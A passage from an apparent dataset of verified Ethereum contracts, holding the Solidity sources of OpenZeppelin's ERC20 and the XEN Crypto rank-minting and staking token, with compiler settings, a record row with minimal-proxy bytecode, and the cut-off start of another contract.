"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * The default value of {decimals} is 18. To select a different value for\n * {decimals} you should overload it.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\n * overridden;\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IStakingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IStakingToken {\n event Staked(address indexed user, uint256 amount, uint256 term);\n\n event Withdrawn(address indexed user, uint256 amount, uint256 reward);\n\n function stake(uint256 amount, uint256 term) external;\n\n function withdraw() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IRankedMintingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IRankedMintingToken {\n event RankClaimed(address indexed user, uint256 term, uint256 rank);\n\n event MintClaimed(address indexed user, uint256 rewardAmount);\n\n function claimRank(uint256 term) external;\n\n function claimMintReward() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnableToken {\n function burn(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnRedeemable {\n event Redeemed(\n address indexed user,\n address indexed xenContract,\n address indexed tokenContract,\n uint256 xenAmount,\n uint256 tokenAmount\n );\n\n function onTokenBurned(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/XENCrypto.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"./Math.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\";\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\nimport \"./interfaces/IStakingToken.sol\";\nimport \"./interfaces/IRankedMintingToken.sol\";\nimport \"./interfaces/IBurnableToken.sol\";\nimport \"./interfaces/IBurnRedeemable.sol\";\n\ncontract XENCrypto is Context, IRankedMintingToken, IStakingToken, IBurnableToken, ERC20(\"XEN Crypto\", \"XEN\") {\n using Math for uint256;\n using ABDKMath64x64 for int128;\n using ABDKMath64x64 for uint256;\n\n // INTERNAL TYPE TO DESCRIBE A XEN MINT INFO\n struct MintInfo {\n address user;\n uint256 term;\n uint256 maturityTs;\n uint256 rank;\n uint256 amplifier;\n uint256 eaaRate;\n }\n\n // INTERNAL TYPE TO DESCRIBE A XEN STAKE\n struct StakeInfo {\n uint256 term;\n uint256 maturityTs;\n uint256 amount;\n uint256 apy;\n }\n\n // PUBLIC CONSTANTS\n\n uint256 public constant SECONDS_IN_DAY = 3_600 * 24;\n uint256 public constant DAYS_IN_YEAR = 365;\n\n uint256 public constant GENESIS_RANK = 1;\n\n uint256 public constant MIN_TERM = 1 * SECONDS_IN_DAY - 1;\n uint256 public constant MAX_TERM_START = 100 * SECONDS_IN_DAY;\n uint256 public constant MAX_TERM_END = 1_000 * SECONDS_IN_DAY;\n uint256 public constant TERM_AMPLIFIER = 15;\n uint256 public constant TERM_AMPLIFIER_THRESHOLD = 5_000;\n uint256 public constant REWARD_AMPLIFIER_START = 3_000;\n uint256 public constant REWARD_AMPLIFIER_END = 1;\n uint256 public constant EAA_PM_START = 100;\n uint256 public constant EAA_PM_STEP = 1;\n uint256 public constant EAA_RANK_STEP = 100_000;\n uint256 public constant WITHDRAWAL_WINDOW_DAYS = 7;\n uint256 public constant MAX_PENALTY_PCT = 99;\n\n uint256 public constant XEN_MIN_STAKE = 0;\n\n uint256 public constant XEN_MIN_BURN = 0;\n\n uint256 public constant XEN_APY_START = 20;\n uint256 public constant XEN_APY_DAYS_STEP = 90;\n uint256 public constant XEN_APY_END = 2;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n // PUBLIC STATE, READABLE VIA NAMESAKE GETTERS\n\n uint256 public immutable genesisTs;\n uint256 public globalRank = GENESIS_RANK;\n uint256 public activeMinters;\n uint256 public activeStakes;\n uint256 public totalXenStaked;\n // user address => XEN mint info\n mapping(address => MintInfo) public userMints;\n // user address => XEN stake info\n mapping(address => StakeInfo) public userStakes;\n // user address => XEN burn amount\n mapping(address => uint256) public userBurns;\n\n // CONSTRUCTOR\n constructor() {\n genesisTs = block.timestamp;\n }\n\n // PRIVATE METHODS\n\n /**\n * @dev calculates current MaxTerm based on Global Rank\n * (if Global Rank crosses over TERM_AMPLIFIER_THRESHOLD)\n */\n function _calculateMaxTerm() private view returns (uint256) {\n if (globalRank > TERM_AMPLIFIER_THRESHOLD) {\n uint256 delta = globalRank.fromUInt().log_2().mul(TERM_AMPLIFIER.fromUInt()).toUInt();\n uint256 newMax = MAX_TERM_START + delta * SECONDS_IN_DAY;\n return Math.min(newMax, MAX_TERM_END);\n }\n return MAX_TERM_START;\n }\n\n /**\n * @dev calculates Withdrawal Penalty depending on lateness\n */\n function _penalty(uint256 secsLate) private pure returns (uint256) {\n // =MIN(2^(daysLate+3)/window-1,99)\n uint256 daysLate = secsLate / SECONDS_IN_DAY;\n if (daysLate > WITHDRAWAL_WINDOW_DAYS - 1) return MAX_PENALTY_PCT;\n uint256 penalty = (uint256(1) << (daysLate + 3)) / WITHDRAWAL_WINDOW_DAYS - 1;\n return Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,503,081 |
44d5eb1f606e48a1f7bf49b7ef6942bf3e75a1b6dce64d55238320f06d48777e
|
0574a1ef3a37f1ea8b041a3fba39caeffad00590c647ed9bbb578484c7d8d98a
|
5e05f02c1e0ada6eece8dca05b2c3fb551a8da2b
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
99bd0655bace5a6421497c1d977d50d7cc312173
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
